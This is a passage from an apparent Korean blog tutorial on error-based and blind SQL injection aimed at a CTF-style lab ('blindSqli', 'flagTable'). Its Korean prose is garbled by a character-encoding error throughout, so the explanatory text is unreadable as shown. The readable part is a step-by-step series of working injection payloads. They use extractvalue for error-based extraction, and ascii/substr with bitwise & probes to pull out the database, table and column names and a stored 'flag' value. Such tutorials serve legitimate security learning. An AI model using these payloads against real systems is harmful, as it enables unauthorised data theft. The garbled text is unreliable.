DB, Table, Column์˜ ์ด๋ฆ„๋“ค์„ ๋‹ค ์•Œ์•„๋ƒˆ๋‹ค๋ฉด ์šฐ๋ฆฌ๋Š” ๋ฐ์ดํ„ฐ(data)๋ฅผ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ๋‹ค. 

select flag from secret limit 0,1

์ด๋ฅผ ๋˜ํ•œ ๊ณต๊ฒฉ ํฌ๋งท์— ๋„ฃ์–ด์ค€๋‹ค.

x' and extractvalue('1',concat(0x3a,(select flag from secret limit 0,1))) and '1'='1

์ด์™€ ๊ฐ™์€ ๋ฐฉ์‹์œผ๋กœ ์šฐ๋ฆฌ๋Š” ์—๋Ÿฌ๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•˜์—ฌ ์›ํ•˜๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์ด๋‹ค.

 

 

Blind Sqli


์ง€๊ธˆ๊นŒ์ง€ ๋‹ค๋ฃฌ UNION SQLi์™€ Error Based SQLi๋Š” SQL ์งˆ์˜(Query)์˜ ๊ฒฐ๊ณผ ํ˜น์€ ์˜ค๋ฅ˜๊ฐ€ ํ™”๋ฉด์— ๋‚˜์˜ค๋Š” ๊ฒฝ์šฐ์˜€๋‹ค.

๊ทธ๋ ‡๋‹ค๋ฉด ๊ฒฐ๊ณผ๊ฐ€ ํ™”๋ฉด์— ๋…ธ์ถœ๋˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ(๋ณด์ด์ง€ ์•Š๋Š” ๊ฒฝ์šฐ)์—๋Š” ์–ด๋–ป๊ฒŒ ํ•ด์•ผํ• ๊นŒ?

๋ณด์ด์ง€ ์•Š๋Š”๋‹ค๊ณ  ๊ณต๊ฒฉ์ด ๋ถˆ๊ฐ€๋Šฅํ•œ ๊ฒƒ์ด ์•„๋‹ˆ๋‹ค. ์ด๋ฅผ ํ™œ์šฉํ•œ ๋ฐฉ์‹์ด Blind SQL Injection์ด๋‹ค.

๊ทธ๋ ‡๋‹ค๋ฉด ์งˆ์˜(Query)์˜ ๊ฒฐ๊ณผ๊ฐ€ ๋ณด์ด์ง€ ์•Š๋Š”๋ฐ ์–ด๋–ป๊ฒŒ ์ •๋ณด๋ฅผ ์ถ”์ถœํ•˜๋Š” ๊ฒƒ์ผ๊นŒ?

ํ™”๋ฉด์ƒ์—์„œ ํ™•์ธ์ด ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€์ ธ์™€๋„ ์†Œ์šฉ์ด ์—†๋Š” ๊ฒƒ์ด ์•„๋‹๊นŒ?

ํ•˜์ง€๋งŒ ์šฐ๋ฆฌ๋Š” ์ด๋ฅผ ์ฐธ๊ณผ ๊ฑฐ์ง“์˜ ์‘๋‹ต ์ฐจ์ด๋ฅผ ์ด์šฉํ•˜์—ฌ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ๋‹ค.

ex)  ๋กœ๊ทธ์ธ, ์•„์ด๋”” ์ค‘๋ณต ์ฒดํฌ

 

True / False ?!

์ฐธ๊ณผ ๊ฑฐ์ง“?! ์ด๊ฒŒ ๋ฌด์Šจ ์˜๋ฏธ๊ฐ€ ์žˆ๋‚˜ ์‹ถ๊ฒ ์ง€๋งŒ ์šฐ๋ฆฌ๋Š” ์นœ์ˆ™ํ•œ ๊ฒŒ์ž„์„ ํ•˜๋‚˜ ์•Œ๊ณ  ์žˆ๋‹ค.

๋ฐ”๋กœ '์Šค๋ฌด๊ณ ๊ฐœ' ์ด๋‹ค.

์šฐ๋ฆฌ๋Š” ์Šค๋ฌด๊ณ ๊ฐœ ์ฒ˜๋Ÿผ ์ฐธ/๊ฑฐ์ง“์œผ๋กœ ๋Œ€๋‹ต ๊ฐ€๋Šฅํ•œ ์งˆ๋ฌธ์„ ๊ณ„์†ํ•ด์„œ ๋˜์ง€๊ณ  ์ด๋ฅผ ์ด์šฉํ•˜์—ฌ ๊ฐ’์„ ์ฐพ์•„๋‚ด๋Š” ๊ฒƒ์ด๋‹ค.

ํŠน์ • ์š”์ฒญ์— ๋Œ€ํ•˜์—ฌ ์ฐธ์ธ ๊ฒฝ์šฐ์™€ ๊ฑฐ์ง“์ธ ๊ฒฝ์šฐ์— ์‘๋‹ต์ด ๋‹ค๋ฅด๋‹ค๋ฉด?! ์ด๋ฅผ ์ด์šฉํ•˜์—ฌ ์šฐ๋ฆฌ๋Š” ์ด๋Ÿฐ ์งˆ๋ฌธ์„ ๋˜์งˆ ์ˆ˜ ์žˆ๋‹ค.

substr((select ~~ ),1,1) = 'a'

"ํ˜น์‹œ ํ•ด๋‹น ์ฟผ๋ฆฌ ๊ฒฐ๊ณผ์˜ ๋งจ ์•ž๊ธ€์ž๊ฐ€ a ์•ผ?"  ๋ผ๊ณ  substr์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ฌผ์–ด๋ณผ ์ˆ˜ ์žˆ๋‹ค.

๊ทธ๋Ÿผ ์ฐธ/๊ฑฐ์ง“์œผ๋กœ ์ง์ ‘์ ์œผ๋กœ ๋Œ€๋‹ตํ•ด์ฃผ์ง€๋Š” ์•Š์ง€๋งŒ, ์šฐ๋ฆฌ๋Š” ์‘๋‹ต์˜ ์ฐจ์ด๋ฅผ ํ†ตํ•ด ์ฐธ์ธ์ง€ ๊ฑฐ์ง“์ธ์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

substr((select ~~ ),2,1) = 'b'

"๋‹ค์Œ ๊ธ€์ž๋Š” b์ธ๊ฐ€?" ์ด๋Ÿฐ์‹์œผ๋กœ ๊ณ„์†ํ•ด์„œ ์งˆ๋ฌธ์„ ์ด์–ด๋‚˜๊ฐ€๋ฉด์„œ ์›ํ•˜๋Š” ๋ฐ์ดํ„ฐ์˜ ์ •๋ณด๋ฅผ ์™„์„ฑํ•ด ๊ฐ€๋Š” ๊ฒƒ์ด๋‹ค.

 

Substr ํ•จ์ˆ˜

substr ํ•จ์ˆ˜๋Š” substr('๋ฌธ์ž', ์‹œ์ž‘ ์œ„์น˜, ๊ฐœ์ˆ˜) ์™€ ๊ฐ™์ด ์ด๋ฃจ์–ด์ ธ ์žˆ๋Š” ๊ธ€์ž๋ฅผ ์ž˜๋ผ์ฃผ๋Š” ํ•จ์ˆ˜์ด๋‹ค.

๊ทธ๋ž˜์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ƒ๊ฐํ•˜๋ฉด ๋œ๋‹ค.

substr('test',1,1)  -> 't'
substr('test',1,2) -> 'te'
substr('test',2,1) -> 'e'

 

Blind SQLi Process

Blind SQLi ๋˜ํ•œ ์ •ํ•ด์ง„ ์ˆœ์„œ๋Œ€๋กœ๋งŒ ๋”ฐ๋ผ๊ฐ€๋ฉด ๋˜๋Š” Process๊ฐ€ ์กด์žฌํ•œ๋‹ค.

(๊ทธ์ € ๋ฌด์กฐ๊ฑด! ๋”ฐ๋ผ์ฃผ๊ธฐ๋งŒ ํ•˜๋ฉด ๋˜๋Š” ๊ฒƒ์ด๋‹ค.)

Blind SQL Injection Process

1. SQL Injection Point ์ฐพ๊ธฐ (์ฐธ/๊ฑฐ์ง“ ์กฐ๊ฑด ํ™•์ธ)
2. SELECT ๋ฌธ๊ตฌ๊ฐ€ ๊ฐ€๋Šฅํ•œ์ง€ ํ™•์ธ
3. ๊ณต๊ฒฉ format ๋งŒ๋“ค๊ธฐ (๊ฒฐ๊ณผ์˜ ์ฒซ ๊ธ€์ž ๋น„๊ต ํ™•์ธ)
4. DB ์ด๋ฆ„ ํ™•์ธ
5. Table ์ด๋ฆ„ ํ™•์ธ
6. Column ์ด๋ฆ„ ํ™•์ธ
7. Data ์ถ”์ถœ

 

ASCII Table

์šฐ๋ฆฌ๋Š” Blind SQLi๋ฅผ ์ด์šฉํ•จ์— ์•ž์„œ ์•„์Šคํ‚คํ‘œ(ASCII Table)์— ๋Œ€ํ•˜์—ฌ ์•Œ๊ณ  ์žˆ์–ด์•ผํ•œ๋‹ค. ์šฐ๋ฆฌ๋Š” ์ฐธ/๊ฑฐ์ง“์˜ ์ฐจ์ด๋ฅผ ํ†ตํ•ด ASCII ๊ฐ’์„ ์ฐพ์•„๋‚ด๊ณ  ์ด๋ฅผ ๋ณ€ํ™˜ํ•˜์—ฌ ๋ฐ์ดํ„ฐ์˜ ์ •๋ณด๋ฅผ ์ฐพ์•„๋‚ด๋Š” ๊ฒƒ์ด๋‹ค.

์œ„์˜ ํ‘œ๋ฅผ ๋ณด๋ฉด์„œ ์šฐ๋ฆฌ๋Š” ๋ช‡๊ฐ€์ง€ ์ƒ๊ฐ์„ ํ•ด๋ด์•ผ ํ•œ๋‹ค.

 

Search Method

ํƒ์ƒ‰ ๋ฐฉ์‹์— ๋Œ€ํ•˜์—ฌ ์ƒ๊ฐํ•  ์ 

1. ์งˆ๋ฌธ์˜ ๋ฒ”์œ„
  0 ~ 127 (์ผ๋ฐ˜์ ์œผ๋กœ ์ž…๋ ฅ๊ฐ€๋Šฅํ•œ ๋ชจ๋“  ๊ฐ’์€ ASCII Code๋กœ ๋ณ€ํ™˜์ด ๊ฐ€๋Šฅํ•˜๊ณ  ์•„์Šคํ‚ค ์ฝ”๋“œ๋Š” 0 ~ 127์˜ ๋ฒ”์œ„๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ์œผ๋ฏ€๋กœ ์ด๋ฅผ ๋ฒ—์–ด๋‚˜๋Š” ๊ฐ’์€ ํ™•์ธํ•  ํ•„์š”๊ฐ€ ์—†๋‹ค.)


2. ์งˆ๋ฌธ์˜ ๋ฐฉ์‹
- ์„ ํ˜• ํƒ์ƒ‰
 0 ~ 127 ๊นŒ์ง€์˜ ๋ฒ”์œ„๋ฅผ ์ฐจ๋ก€๋Œ€๋กœ(์ˆœ์„œ๋Œ€๋กœ) ํ•˜๋‚˜์”ฉ ํ™•์ธํ•œ๋‹ค๋ฉด?  ํ•œ ๊ธ€์ž๋‹น  ์ตœ๋Œ€ 2^7 (128) ๋ฒˆ์„ ํ™•์ธํ•ด์•ผํ•˜๋Š”๋ฐ ๊ธ€์ž๊ฐ€    10๊ธ€์ž๋งŒ ๋˜๋”๋ผ๋„? ๋ฌด๋ ค....1280๋ฒˆ์ด๋‹ค. - ์„ ํ˜• ํƒ์ƒ‰์˜ ์‹œ๊ฐ„ ๋ณต์žก๋„ O(n)
   
- ์ด์ง„(์ด๋ถ„) ํƒ์ƒ‰
 ๊ทธ๋ž˜์„œ ์šฐ๋ฆฌ๋Š” ์ด์ง„ ํƒ์ƒ‰ ๋ฐฉ์‹์„ ์ƒ๊ฐํ•ด๋ณผ ์ˆ˜ ์žˆ๋‹ค.
์šฐ์„  0๋ณด๋‹ค ํฐ์ง€ ํ™•์ธํ•œ๋‹ค. (์ด๋Š” ํ•ด๋‹น ๊ฐ’์ด ์กด์žฌํ•˜๋Š”์ง€๋ฅผ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด๋‹ค.)
๊ทธ ๋‹ค์Œ 0 ~ 127 ์‚ฌ์ด์˜ ์–ด๋Š ๊ฐ’์„ ํ™•์ธํ•œ๋‹ค. ์šฐ๋ฆฌ๊ฐ€ ์ฃผ๋กœ ์ด์šฉํ•˜๋Š” ๊ฐ’์€ 33 ~ 126์ด๋‹ค. ๊ทธ๋Ÿผ ์šฐ๋ฆฌ๋Š” ์ด ์‚ฌ์ด์˜ ๊ฐ’์„ ์ƒ๊ฐํ•ด ๋ณผ ์ˆ˜ ์žˆ๋Š”๋ฐ (33+126)/2 = 79.5 ์ด๋‹ค. ๊ทธ๋Ÿฌ๋ฏ€๋กœ ๋Œ€์ถฉ 70 ๋ถ€ํ„ฐ ์‹œ์ž‘ํ•ด์ค€๋‹ค. ํ•ด๋‹น ๊ฐ’๋ณด๋‹ค ํฐ๊ฐ€? ์ž‘์€๊ฐ€? ๋ฅผ ํ™•์ธํ•˜๊ณ  ๊ฐ€๋Šฅํ•œ ์ตœ๋Œ€๊ฐ’๊ณผ ์ตœ์†Ÿ๊ฐ’์˜ ์ค‘์•™๊ฐ’์„ ํ™•์ธํ•˜๋Š” ๋ฐฉ์‹์„ ๋ฐ˜๋ณตํ•œ๋‹ค. ๊ฐ’์„ ์ž˜ ์„ ํƒํ•œ๋‹ค๋ฉด ์ตœ๋Œ€ 7๋ฒˆ ์•ˆ์— ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ์„ ๊ฒƒ์ด๋‹ค. - ์ด์ง„ ํƒ์ƒ‰์˜ ์‹œ๊ฐ„ ๋ณต์žก๋„ O(log n)

- ๋…ผ๋ฆฌ ์—ฐ์‚ฐ(์ด์ง„ ์ฝ”๋“œ ํ™œ์šฉ)
 ์ด๋ถ„ ํƒ์ƒ‰๊ณผ ๋‹ค๋ฅด์ง€ ์•Š์ง€๋งŒ ์šฐ๋ฆฌ๋Š” ์งˆ๋ฌธ์˜ ๋ฐฉ์‹์„ ๋‹ค๋ฅด๊ฒŒ ์ด์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.
๊ฐ’์ด ๋ช‡๋ณด๋‹ค ํฐ๊ฐ€? ์ž‘์€๊ฐ€? ๋ฅผ ํ™•์ธํ•˜๋Š”๊ฒŒ ์•„๋‹ˆ๊ณ  ์ด์ง„๊ฐ’์„ ์ด์šฉํ•˜์—ฌ ์งˆ๋ฌธํ•˜๋Š” ๊ฒƒ์ด๋‹ค.
๋ฐ”๋กœ ๋…ผ๋ฆฌ ์—ฐ์‚ฐ์ž & ๋ฅผ ํ™œ์šฉํ•˜๋Š” ๊ฒƒ์ด๋‹ค. &1=1, &2=2 ... &64=64 ์™€ ๊ฐ™์ด 1, 2, 4, 8, 16, 32, 64 ์˜ ๊ฐ’์„ ๋ฌผ์–ด๋ณธ๋‹ค๋ฉด? 0000000 ~ 1111111 ๊ฐ’์˜ ๊ฐ ์ž๋ฆฌ์˜ ๊ฒฐ๊ณผ๊ฐ€ 0์ธ์ง€ 1์ธ์ง€๋ฅผ ๋ฌผ์–ด๋ณธ ๊ฒƒ๊ณผ ๊ฐ™์€ ํšจ๊ณผ๋ฅผ ๊ฐ€์ง„๋‹ค.
์ฆ‰ ๊ฐ ๊ฐ’์ด ์ฐธ์ด๋ฉด 1 ๊ฑฐ์ง“์ด๋ฉด 0์œผ๋กœ ์ด์ง„๊ฐ’์„ ์•Œ์•„๋‚ด๊ณ  ์ด๋ฅผ ์‹ญ์ง„์ˆ˜๋กœ ๋ฐ”๊ฟ”์„œ ๊ฐ’์„ ์•Œ์•„๋‚ด๋Š” ๊ฒƒ์ด๋‹ค.

์‚ฌ๋žŒ๋งˆ๋‹ค ๋‹ค๋ฅผ ์ˆ˜ ์žˆ์ง€๋งŒ ๋…ผ๋ฆฌ์—ฐ์‚ฐ์„ ์ด์šฉํ•œ ๋ฐฉ๋ฒ•์ด ๊ฐ€์žฅ ์ž˜ ๋งž๋Š”๊ฑฐ ๊ฐ™์•„ ์ด ๋ฐฉ๋ฒ•์„ ์ด์šฉํ•  ๊ฒƒ์ด๋‹ค.     

 

[1] SQL Injection Point ์ฐพ๊ธฐ

SQL Injection ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” SQL Injection์ด ๊ฐ€๋Šฅํ•œ์ง€๋ถ€ํ„ฐ ํ™•์ธํ•ด์•ผ ํ•œ๋‹ค.

x' and '1'='1 

x' and '1'-'1 ์˜ ๊ฐ’์ด ์ฐธ์ด๋ผ๋Š” ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜จ๋‹ค๋ฉด SQL Injection์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

ํ•˜์ง€๋งŒ ์—ฌ๊ธฐ์„œ ์šฐ๋ฆฌ๋Š” Blind SQLi์„ ์ด์šฉํ•  ๊ฒƒ์ด๋ฏ€๋กœ ๊ฑฐ์ง“๋„ ํ™•์ธํ•ด์•ผํ•œ๋‹ค.

x' and '1'='2

x' and '1'='2 ๊ฐ€ ๊ฑฐ์ง“์œผ๋กœ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜ค๋Š” ๊ฒƒ์„ ํ™•์ธํ•˜๊ณ , ์ฐธ/๊ฑฐ์ง“์ด ๋‘˜๋‹ค ์ฐพ์•„์ง€๊ณ ,  ์ฐธ(True)์ธ ๊ฒฐ๊ณผ์™€ ๊ฑฐ์ง“(False)์ธ ๊ฒฐ๊ณผ๊ฐ€ ๋‹ค๋ฅด๋‹ค๋ฉด Blind SQL Injection์ด ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

์ฐธ๊ณผ ๊ฑฐ์ง“์„ ๋‘˜ ๋‹ค ์ฐพ์•„์•ผ ํ•œ๋‹ค!!

 

[2] SELECT ๋ฌธ๊ตฌ๊ฐ€ ๊ฐ€๋Šฅํ•œ์ง€ ํ™•์ธ

x' and ((select 'test') = 'test') and '1'='1

์œ„์™€ ๊ฐ™์€ ๊ตฌ๋ฌธ์„ ์ด์šฉํ•˜์—ฌ ํ•ด๋‹น ๊ฐ’์ด ์ฐธ์ธ์ง€๋ฅผ ํ™•์ธํ•˜์—ฌ SELECT ๋ฌธ์„ ์‚ฝ์ž…ํ•ด๋„ ๋ฌธ์ œ๊ฐ€ ์—†๋Š”์ง€ ํ™•์ธํ•œ๋‹ค.

 

[3] ๊ณต๊ฒฉ Fromat ๋งŒ๋“ค๊ธฐ

x' and (__์กฐ๊ฑด__) and '1'='1

์œ„์™€ ๊ฐ™์ด ( ) ์— ์›ํ•˜๋Š” ์กฐ๊ฑด์„ ๋„ฃ์–ด์ค€๋‹ค. 

substr((__SQL__),1,1)

์กฐ๊ฑด์˜ ๊ฒฝ์šฐ ์œ„์™€ ๊ฐ™์ด ๋„ฃ์–ด์ฃผ๋ฉด ๋œ๋‹ค. SQL ๋ถ€๋ถ„์—๋Š” select ๊ตฌ๋ฌธ์„ ์‚ฝ์ž…ํ•˜๊ณ  ์ด๋ฅผ ํ•ฉ์ณ์ฃผ๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

x' and (substr((select 'test'),1,1) = 't') and '1'='1

์œ„์™€ ๊ฐ™์ด ๋งŒ๋“ค์–ด ์ฃผ๋ฉด๋œ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ์—ฌ๊ธฐ์„œ ์šฐ๋ฆฌ๋Š” 't'์™€ ๊ฐ™์ด ๋ฌธ์ž๋ฅผ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๊ณ  ASCII๋ฅผ ์ด์šฉํ•  ๊ฒƒ์ด๋‹ค.

์ˆซ์ž๊ฐ€ ํŽธํ•˜๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.

ascii('a') = 97 ์ด๊ธฐ ๋•Œ๋ฌธ์— ์ด๋ฅผ ๋ฐ”๊ฟ”์ฃผ๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

x' and (ascii(substr((select 'test'),1,1)) = 97) and '1'='1

์œ„์™€ ๊ฐ™์€ ๋ฐฉ์‹์œผ๋กœ ์™„์„ฑ ํ•˜๋ฉด๋˜๋Š”๋ฐ ์šฐ๋ฆฌ๋Š” ์šฐ์„ ์ ์œผ๋กœ ๊ณต๊ฒฉ Format๋งŒ ๊ตฌ์„ฑํ•œ๋‹ค๊ณ  ์ƒ๊ฐํ•˜๋ฉด ascii(substr((__SQL__),1,1)) > 0์„ ๋„ฃ์–ด์ฃผ์–ด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋งŒ๋“ค์–ด ๋‘˜ ์ˆ˜ ์žˆ๋‹ค.

x' and (ascii(substr((__SQL__),1,1)) > 0) and '1'='1

๊ทผ๋ฐ ์ด๋•Œ ์ด๋ฅผ ๋…ผ๋ฆฌ์—ฐ์‚ฐ์„ ์ด์šฉํ•˜๋Š” ๋ฐฉ์‹์„ ์ด์šฉํ•  ๊ฒƒ์ด๊ธฐ ๋•Œ๋ฌธ์— ๊ทธ์— ๋งž์ถฐ ๋ฐ”๊ฟ”์ฃผ๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

x' and (ascii(substr((__SQL__),1,1)))&1=1#

์œ„์˜ ๊ณต๊ฒฉ format์„ ์‚ฌ์šฉํ•˜์—ฌ ์ง„ํ–‰ํ•  ๊ฒƒ์ด๋‹ค.

 

[4] DB ์ด๋ฆ„ ์•Œ์•„๋‚ด๊ธฐ

x' and ascii(substr((select database()),1,1))&1=1#

1=1, 2=2, 4=4, 8=8, 16=16, 32=32, 64=64 ์™€ ๊ฐ™์ด ์ด์ง„์ˆ˜ 7์ž๋ฆฌ๋ฅผ ๊ฐ๊ฐ ํ™•์ธํ•˜๊ณ  ์ฐธ์ธ ๊ฐ’์— ๋Œ€ํ•˜์—ฌ ๊ฐ๊ฐ์„ ๋”ํ•ด์ฃผ๋ฉด ์‹ญ์ง„์ˆ˜๊ฐ€ ๋‚˜์˜ค๊ณ  ์ด๋ฅผ ASCII ๋กœ ๋ณ€ํ™˜ํ•˜๋ฉด ํ•ด๋‹น ๋ฌธ์ž๊ฐ€ ์–ด๋–ค ๋ฌธ์ž์ธ์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

x' and ascii(substr((select database()),2,1))&1=1#

์ด๋Ÿฐ์‹์œผ๋กœ ๋ฌธ์ž์˜ ์ž๋ฆฌ์ˆ˜๋ฅผ ๋ฐ”๊ฟ”์ฃผ๋ฉด์„œ ๊ณ„์†ํ•ด์„œ ํ•ด๋‹น ๋ฌธ์ž๊ฐ€ ์–ด๋–ค ๋ฌธ์ž์ธ์ง€ ํ™•์ธํ•˜๋Š” ์ž‘์—…์„ ๊ณ„์†ํ•œ๋‹ค.

 

[5] Table ์ด๋ฆ„ ์•Œ์•„๋‚ด๊ธฐ

select table_name from information_schema.tables where table_schema = 'blindSqli'

์ด๋ฅผ ๊ณต๊ฒฉ format์— ๋„ฃ์–ด์ค€๋‹ค.

x' and (ascii(substr((select table_name from information_schema.tables where table_schema = 'blindSqli'),1,1)))&1=1#

 

[6] Column ์ด๋ฆ„ ์•Œ์•„๋‚ด๊ธฐ

select column_name from information_schema.columns where table_name = 'flagTable' limit 0,1

์ด๋ฅผ ๊ณต๊ฒฉ format์— ๋„ฃ์–ด์ค€๋‹ค.

x' and ascii(substr((select column_name from information_schema.columns where table_name = 'flagTable' limit 0,1),1,1))&1=1#

 

[7] ๋ฐ์ดํ„ฐ ์ถ”์ถœํ•˜๊ธฐ

select flag from flagTable limit 0,1
x' and ascii(substr((select flag from flagTable limit 0,1),1,1))&1=1#

์ด์™€ ๊ฐ™์€ ๋ฐฉ๋ฒ•์œผ๋กœ ๋ฐ˜๋ณตํ•˜๋ฉด ์šฐ๋ฆฌ๋Š” ์šฐ๋ฆฌ๊ฐ€ ์›ํ•˜๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋œ๋‹ค.

ํ•˜์ง€๋งŒ ์ด ์ž‘์—…์€ ๋…ธ๊ฐ€๋‹ค์„ฑ์ด๊ธฐ ๋•Œ๋ฌธ์— ํŒŒ์ด์ฌ์„ ์ด์šฉํ•œ ์ž๋™ํ™”๋ฅผ ๊ณ ๋ฏผํ•ด๋ด์•ผ ํ•œ๋‹ค.

๊ทธ๋ ‡์ง€๋งŒ Blind SQLi์˜ ๊ฒฝ์šฐ ์ž๋™ํ™” ํ•˜๊ธฐ ์ „์— ๊ผญ! ์†์œผ๋กœ ์ˆ˜์ž‘์—…์œผ๋กœ ๋…ธ๊ฐ€๋‹ค๋ฅผ ํ•ด๋ด์•ผ ์ดํ•ดํ•˜๋Š”๋ฐ์— ๋„์›€์ด ๋œ๋‹ค๋Š” ์‚ฌ์‹ค์„ ์žŠ์ง€๋ง์ž!


SQL Injection

1. SQL ์งˆ์˜๋ฌธ(Query)์˜ ๊ฒฐ๊ณผ๊ฐ€ ํ™”๋ฉด์— ์ถœ๋ ฅ๋˜๋Š” ๊ฒฝ์šฐ : UNION SQL
2. SQL ์—๋Ÿฌ ๋ฉ”์‹œ์ง€๊ฐ€ ํ™”๋ฉด์— ์ถœ๋ ฅ๋˜๋Š” ๊ฒฝ์šฐ : Error Based SQLi
3. ๊ฒฐ๊ณผ๊ฐ€ ์ถœ๋ ฅ๋˜์ง€ ์•Š๊ณ  ์ฐธ๊ณผ ๊ฑฐ์ง“์˜ ์‘๋‹ต๋งŒ ๋‹ค๋ฅธ ๊ฒฝ์šฐ : Blind SQL Injection

 

 


์งˆ๋ฌธ ํ™˜์˜, ์ˆ˜์ • ๋ฐ ๋ณด์™„์— ๋Œ€ํ•œ ์ง€์  ํ™˜์˜